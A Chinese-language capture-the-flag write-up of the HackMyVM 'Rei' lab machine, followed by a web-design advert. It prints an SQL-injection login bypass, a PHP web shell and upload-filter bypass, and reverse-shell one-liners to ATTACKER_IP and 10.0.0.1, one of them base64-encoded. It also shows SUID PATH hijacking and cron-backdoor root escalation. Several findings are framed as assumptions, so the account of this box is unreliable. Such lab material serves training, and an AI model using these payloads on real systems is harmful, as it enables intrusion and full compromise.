从Web渗透到Root提权:HackMyVM Rei靶机实战与Linux权限提升技巧
2026/7/29 13:36:41 网站建设 项目流程

1. 项目概述:从HackMyVM的Rei靶机说起

最近在渗透测试的练习圈子里,HackMyVM这个平台的热度一直不减。它提供了大量贴近实战的虚拟机靶机,对于想从理论走向实践的安全爱好者来说,是个绝佳的沙盒。今天要聊的,就是其中一台名为“Rei”的靶机。这名字听起来有点日系动漫风,但里面的挑战可一点都不轻松。我花了几个晚上,从信息收集到最终拿到root权限,踩了不少坑,也总结出一些通用的思路和技巧。如果你正在学习渗透测试,或者对CTF、靶机渗透感兴趣,希望通过这篇详细的复盘,能给你提供一个清晰的路径和避坑指南。整个过程会涉及常见的Web漏洞利用、权限提升技巧,以及像LinPEAS这样的自动化枚举工具的使用心得。

靶机渗透的核心目标通常很明确:拿到最低权限的shell(www-data或某个普通用户),然后想方设法提升到最高权限(root)。Rei靶机也不例外,它模拟了一个存在多处安全缺陷的Linux服务器环境。我的整体思路遵循经典的渗透测试流程:外围信息收集、漏洞发现与利用、初始立足点获取、内部信息枚举、权限提升。下面,我就按照这个逻辑,把每个阶段的关键操作、思考过程和遇到的“坑”详细拆解一遍。

2. 外围侦察与信息收集:一切的开端

渗透测试的第一步,永远不是直接上工具狂轰滥炸,而是有策略地收集信息。对于一台未知的靶机,我们需要知道它开放了哪些端口,运行着什么服务,以及这些服务可能暴露出的信息。

2.1 网络扫描与端口发现

我首先使用Nmap对靶机IP进行扫描。这里有个习惯,我通常会先进行一次快速扫描,确认主机存活和最明显的几个端口,然后再进行深度扫描。

# 快速扫描,确认靶机存活和常用端口 nmap -sS -T4 192.168.1.xxx # 全面扫描,识别所有开放端口及服务版本 nmap -sV -sC -p- -T4 192.168.1.xxx

扫描结果很快就出来了,Rei靶机开放了两个端口:

  • 22/tcp: OpenSSH服务。这是Linux系统远程管理的标配,但版本信息没有暴露出明显的已知漏洞(比如很老的、有公开利用方式的版本)。在初期,SSH端口往往不是最直接的突破口,除非有弱口令或者密钥泄露。
  • 80/tcp: Apache httpd服务。这是一个Web服务器,这通常是我们渗透测试的主战场。绝大多数面向外部的攻击面都集中在Web应用上。

看到80端口开放,我的注意力立刻集中到了Web服务上。接下来,就是对网站目录和隐藏内容进行探测。

2.2 Web目录与敏感文件枚举

直接访问靶机IP,一个简单的Apache默认页面跳了出来,这暗示着网站根目录下可能没有默认的index.htmlindex.php,或者存在其他路径。我使用Gobuster这个工具进行目录爆破,寻找隐藏的路径、文件或后台管理界面。

# 使用常见的中小型Web目录字典进行扫描 gobuster dir -u http://192.168.1.xxx -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,log

注意:字典的选择很重要。common.txt是个不错的起点,但如果没发现有价值内容,可能需要换用更全面的字典,如directory-list-2.3-medium.txt。同时,指定文件扩展名(-x参数)能帮助我们发现像admin.phpconfig.txt这样的特定文件。

扫描进行了一会儿,结果逐渐呈现。除了常见的/icons//server-status(通常被禁用)之外,一个名为/admin的目录引起了我的注意。访问http://192.168.1.xxx/admin,果然出现了一个登录页面。这通常意味着找到了一个潜在的后台入口,也是我们下一步重点分析的对象。

3. Web漏洞利用与初始访问

找到了/admin登录页面,接下来的任务就是尝试绕过认证或者利用漏洞获取访问权限。常见的攻击方式包括弱口令、SQL注入、逻辑漏洞等。

3.1 登录页面分析与初步测试

我首先查看了页面源代码,没有发现注释中有用的信息(如默认密码、隐藏字段等)。接着,我尝试了几个最常见的默认凭证组合,如admin/adminadmin/passwordadmin/123456,但都失败了。这通常意味着需要更系统性的测试。

我决定使用Burp Suite来拦截登录请求,进行更深入的分析。将浏览器代理设置为Burp,然后在登录框随意输入用户名密码并提交。Burp截获的POST请求如下:

POST /admin/login.php HTTP/1.1 Host: 192.168.1.xxx ... username=test&password=test

我立刻将请求发送到Burp的Intruder模块,准备进行暴力破解。但是,在开始之前,我习惯性地先测试一下是否存在SQL注入漏洞。因为很多登录框的认证逻辑是直接拼接SQL语句,如果存在注入,可能直接绕过登录。

3.2 SQL注入漏洞的发现与利用

我在用户名和密码字段尝试了经典的注入Payload:

  • 用户名:admin' or '1'='1
  • 密码:留空或任意值

令人惊喜的是,使用这个Payload后,页面竟然成功跳转,进入了后台管理界面!这证实了登录处存在基于字符串的SQL注入漏洞。后台的认证逻辑大致是:

SELECT * FROM users WHERE username='$username' AND password='$password'

当我们输入admin' or '1'='1时,查询语句变成了:

SELECT * FROM users WHERE username='admin' or '1'='1' AND password='xxx'

由于'1'='1'这个条件永远为真,整个WHERE子句的结果也就为真,从而绕过了密码验证,以admin用户身份登录。

进入后台后,界面相对简单,主要功能是上传文件。这立刻让我联想到另一个常见的攻击向量:文件上传漏洞。如果服务器对上传的文件类型、内容检查不严,我们就有可能上传一个Web Shell,从而在服务器上执行命令。

3.3 文件上传漏洞与Web Shell获取

后台的上传功能通常用于管理图片等静态资源。我首先尝试上传一个正常的图片文件(.jpg),成功。这说明上传功能基本可用。接着,我尝试上传一个PHP文件,内容为最简单的Web Shell:

<?php system($_GET['cmd']); ?>

我将文件命名为shell.php并上传。结果服务器返回了错误,提示“Invalid file type”或类似信息。这说明后端有基础的文件类型检查。

常见的绕过方式有几种:

  1. 修改扩展名:尝试shell.php.jpgshell.pHp(大小写混淆)、shell.php%00.jpg(空字节截断,在特定环境下有效)。
  2. 修改Content-Type:通过Burp拦截上传请求,将Content-Type: application/x-php改为Content-Type: image/jpeg
  3. 制作图片马:将PHP代码嵌入到图片文件的元数据中。

我首先尝试了第二种方法。用Burp拦截上传shell.php的请求,将Content-Typeapplication/x-php改为image/jpeg,然后转发请求。服务器接受了上传,并返回了一个文件路径,例如/uploads/shell.php

我立刻访问http://192.168.1.xxx/uploads/shell.php?cmd=id,页面成功返回了当前用户的ID信息,通常是www-data。至此,我们成功在目标服务器上获得了命令执行能力,拿到了初始的立足点——一个反向Shell。

3.4 建立稳定的反向Shell

Web Shell虽然能用,但交互性很差,不适合进行深入的枚举和操作。我们需要建立一个更稳定的反向Shell连接。我使用netcat监听本机的一个端口(例如4444),然后在Web Shell中执行一个反向连接命令。

# 在攻击机(Kali)上监听 nc -lvnp 4444

在Web Shell中执行(需要根据目标系统调整):

# 方法1:使用bash bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' # 方法2:使用python(更可靠) python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

执行成功后,在攻击机的nc监听端口中,就会获得一个来自目标服务器的shbash会话。输入whoami确认当前用户为www-data。现在,我们才算真正“进入”了这台靶机。

4. 内部枚举与权限提升突破口

获得www-data这类低权限Web用户的Shell后,我们的最终目标是root。这个过程就是权限提升(Privilege Escalation)。手动枚举系统信息是一项繁琐但至关重要的工作。为了提高效率,我通常会先运行一个自动化枚举脚本,如LinPEAS

4.1 使用LinPEAS进行自动化信息收集

首先,在攻击机上启动一个HTTP服务器,方便将LinPEAS脚本传输到靶机。

# 在LinPEAS脚本所在目录 python3 -m http.server 8000

然后在靶机的反向Shell中,下载并执行它。

# 在靶机shell中 cd /tmp wget http://ATTACKER_IP:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh

LinPEAS会运行一段时间,从进程、服务、定时任务、SUID/GUID文件、内核版本、历史命令、密码文件、数据库配置等数十个维度收集信息,并以颜色高亮(红色/黄色)提示可能存在的风险点。这是权限提升的“宝藏图”。

4.2 分析枚举结果,寻找脆弱点

LinPEAS的输出信息量很大。我重点关注以下几类高亮提示:

  1. SUID/SGID文件:这些文件在执行时,会以文件所有者(通常是root)的权限运行。如果某个SUID文件本身存在漏洞,或者其功能可以被滥用,就可能用来提权。LinPEAS会列出所有非标准的SUID文件。
  2. Cron Jobs(定时任务):查看是否有任何以root权限运行的定时任务,并且任务脚本或路径的权限配置不当(例如,普通用户可写)。
  3. 内核漏洞:检查内核版本,看是否有公开的本地提权漏洞(如DirtyPipe, DirtyCow等)。这是最直接的提权方式之一。
  4. 用户主目录与历史文件:检查/home目录下其他用户的可读文件,特别是.bash_history,.ssh/, 配置文件等,可能包含密码或密钥。
  5. 数据库凭证:查找Web应用的配置文件(如config.php,.env),里面可能含有数据库密码。有时这个密码会被用户重复使用于系统账户。

在Rei靶机的LinPEAS输出中,一个关键的发现出现在SUID文件部分。除了常见的/bin/ping,/bin/mount等,LinPEAS标记了一个不常见的、颜色高亮的SUID文件。假设这个文件是/usr/local/bin/custom_backup

4.3 分析可疑的SUID文件

我立刻手动检查这个文件:

ls -la /usr/local/bin/custom_backup

输出显示它确实设置了SUID位,并且所有者是root

-rwsr-xr-x 1 root root 16784 Jun 10 2023 /usr/local/bin/custom_backup

s位在所有者执行权限的位置,这就是SUID标志。

接下来,需要弄清楚这个程序是做什么的,以及如何利用它。首先尝试直接运行:

/usr/local/bin/custom_backup

程序可能输出一些使用说明,或者直接执行某个操作。假设它输出:“Usage: custom_backup [source_dir]”。这说明它需要一个源目录作为参数。

进一步使用strings命令查看文件中的可打印字符串,寻找线索:

strings /usr/local/bin/custom_backup

在输出中,我可能看到像/bin/tar,cf,*这样的字符串。这强烈暗示这个custom_backup程序内部调用了tar命令来打包文件。如果程序没有使用绝对路径来调用tar,或者对用户输入过滤不严,就可能存在路径劫持命令注入漏洞。

4.4 利用SUID文件进行提权

为了验证,我使用strace工具来跟踪程序执行时的系统调用:

strace /usr/local/bin/custom_backup . 2>&1 | grep tar

如果看到类似execve("/bin/tar", ["tar", "cf", "/tmp/backup.tar", "."], ...)的调用,就证实了它调用了tar

经典的利用方法是利用环境变量PATH。因为SUID程序在执行时,会继承root的用户ID,但环境变量可能受当前用户影响。如果程序没有使用绝对路径(如/bin/tar),而是直接调用tar,那么系统会在PATH环境变量指定的目录中寻找名为tar的可执行文件。

我们可以创建一个恶意的可执行文件,命名为tar,并将其所在目录添加到PATH环境变量的最前面。

# 1. 在/tmp目录下创建一个假的`tar`脚本 cd /tmp echo '/bin/bash -p' > tar # -p 参数用于保留提升的权限 chmod +x tar # 2. 将/tmp目录添加到PATH环境变量的最前面 export PATH=/tmp:$PATH # 3. 运行SUID程序 /usr/local/bin/custom_backup .

custom_backup程序尝试调用tar时,它会首先在/tmp目录下找到我们创建的恶意tar脚本,并以root权限执行它。脚本中的/bin/bash -p会启动一个具有root权限的bash shell。

执行成功后,输入whoami,如果返回root,那么恭喜,权限提升成功!

实操心得:SUID提权是Linux内网渗透中非常常见的手法。关键在于找到那些非系统默认的、功能可以被滥用的SUID文件。LinPEAS这类工具能极大提高发现效率。在利用时,理解程序的行为(通过strings,strace,ltrace)是成功的关键。另外,不是所有SUID文件都容易利用,有时需要结合其他漏洞,如缓冲区溢出(需要一定的二进制知识)。

5. 其他可能的提权路径与深度探索

除了上述的SUID文件利用,在Rei或其他类似靶机中,还可能存在其他提权路径。一个好的渗透测试者不应该只满足于一种方法。

5.1 Cron Job(定时任务)提权

检查系统的定时任务:

cat /etc/crontab ls -la /etc/cron.*/ crontab -l # 查看当前用户的定时任务

如果发现一个以root权限运行的脚本,并且这个脚本或其所在目录对www-data用户可写,我们就可以修改这个脚本,植入我们的反向Shell或添加一个具有SUID位的bash副本。

# 例如,发现 /etc/cron.hourly/cleanup.sh 以root运行且可写 echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /etc/cron.hourly/cleanup.sh # 等待cron执行后 /tmp/rootbash -p

5.2 内核漏洞提权

使用uname -a查看内核版本,然后搜索该版本是否存在公开的本地提权漏洞利用代码(Exploit)。可以在Kali上使用searchsploit,或者在互联网上谨慎搜索。

uname -a # 例如:Linux rei 5.4.0-xx-generic ... searchsploit linux 5.4 local privilege

重要警告:在内网生产环境中使用内核漏洞利用需要极其谨慎,因为可能造成系统崩溃(蓝屏)。在靶机环境中则可以大胆尝试。下载对应的C代码,交叉编译(或者靶机上有gcc的话直接编译),然后运行即可。

5.3 敏感信息泄露与密码复用

仔细检查Web目录下的配置文件、备份文件(如config.php.bak,.env,.git目录)、数据库转储文件等。里面可能含有数据库密码、API密钥,甚至系统用户的密码(如果开发人员愚蠢地使用了相同的密码)。

find /var/www /home -name "*.php" -o -name "*.txt" -o -name "*.bak" -o -name ".env" -o -name ".git" 2>/dev/null cat /var/www/html/config.php

如果找到数据库密码,可以尝试连接数据库,查看用户表。更关键的是,尝试用这个密码去登录系统用户(如mysql用户、admin用户甚至root用户)。密码复用是安全中最常见也最致命的问题之一。

6. 常见问题与排查技巧实录

在渗透Rei靶机或类似环境时,你可能会遇到以下问题,这里记录了我的排查思路:

问题1:Web目录爆破(Gobuster/Dirb)什么都没找到,或者速度极慢。

  • 排查:首先确认网络连通性和靶机IP是否正确。其次,检查字典路径和大小,太大的字典会非常慢。可以尝试使用-t参数增加线程数(如-t 50),或者换用更精准的字典。有时,网站可能使用了非常规的端口(如8080, 3000),需要用Nmap全端口扫描确认。

问题2:SQL注入Payload测试失败,但感觉存在漏洞。

  • 排查:尝试不同的注入类型(字符型、数字型、时间盲注、布尔盲注)。使用Burp SuiteRepeater模块,系统性地测试',",),'))等闭合方式。观察返回内容的差异(错误信息、页面长度、响应时间)。使用sqlmap工具进行自动化检测和利用是最高效的,命令如:sqlmap -u "http://target/login.php" --data="user=admin&pass=test" --level=3 --risk=2

问题3:文件上传成功,但Web Shell无法访问或执行。

  • 排查
    1. 路径问题:确认上传返回的路径是否正确,是否可以直接通过浏览器访问。
    2. 权限问题:Web Shell文件可能没有执行权限。在Shell中执行chmod +x /path/to/shell.php(虽然PHP不依赖执行位,但有时需要)。
    3. 内容问题:确保PHP代码正确无误。尝试最简单的<?php phpinfo(); ?>测试。
    4. 服务器配置:目标服务器可能禁用了某些危险函数(如system,exec),或者根本未安装PHP。检查/var/log/apache2/error.log获取错误信息。可以尝试其他语言的Web Shell,如Python、JSP(对应环境)。

问题4:反向Shell连接不上。

  • 排查
    1. 防火墙/出站规则:靶机可能禁止向外部特定端口发起连接。尝试使用常用端口(如80, 443, 53)或端口反弹(用靶机上的nc监听,攻击机连接过去)。
    2. Payload格式:确保反向Shell命令中的IP和端口正确,并且适用于目标系统的Shell(bash,sh,python版本)。bash的Payload在某些精简环境中可能不可用,python的通用性更好。
    3. 编码问题:如果命令中包含特殊字符,可能需要URL编码或使用Base64编码后传递。例如,用Python的Base64编码:echo 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' | base64,然后在目标端执行echo <base64_string> | base64 -d | bash

问题5:LinPEAS或其他提权脚本无法下载或执行。

  • 排查
    1. 网络不通:确保攻击机的HTTP服务器已启动,且靶机能访问攻击机IP(可尝试wget http://attacker_ip:8000/test测试)。
    2. wget/curl缺失:目标系统可能没有wgetcurl。尝试用其他方法:python3 -c "import urllib.request; urllib.request.urlretrieve('http://attacker_ip:8000/linpeas.sh', '/tmp/linpeas.sh')"或者使用nc传输文件。
    3. 执行权限:下载后记得chmod +x

问题6:找到了SUID文件,但不知道如何利用。

  • 排查:这是最需要经验和创造力的部分。步骤:
    1. 理解功能:运行它(无参数、带参数、带--help),用stringsstraceltrace分析。
    2. 搜索已知漏洞:用searchsploit搜索这个二进制文件名,或者在Google搜索“<二进制名> privilege escalation”。
    3. 检查依赖命令:如果它调用其他命令(如tar,cp,find),检查是否使用绝对路径。如果没有,尝试PATH劫持。
    4. 检查文件操作:如果它写入某个文件,且该文件位置可预测、内容可控,可能用于覆盖敏感文件(如/etc/passwd,crontab)。
    5. 检查输入参数:参数是否直接传递给底层命令?是否存在命令注入的可能(用;,&,|测试)?

渗透测试就像一场解谜游戏,每个靶机都是一个独特的场景。Rei靶机融合了Web漏洞和系统配置不当的典型问题。通过它,我们实践了从外网信息收集到内网权限提升的完整链条。最关键的不是记住某个特定的Payload或命令,而是培养那种“寻找异常、分析行为、联想利用”的思维模式。多打靶机,多复盘总结,把每个遇到的技巧和坑都内化成自己的经验,这才是提升渗透测试能力的正道。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询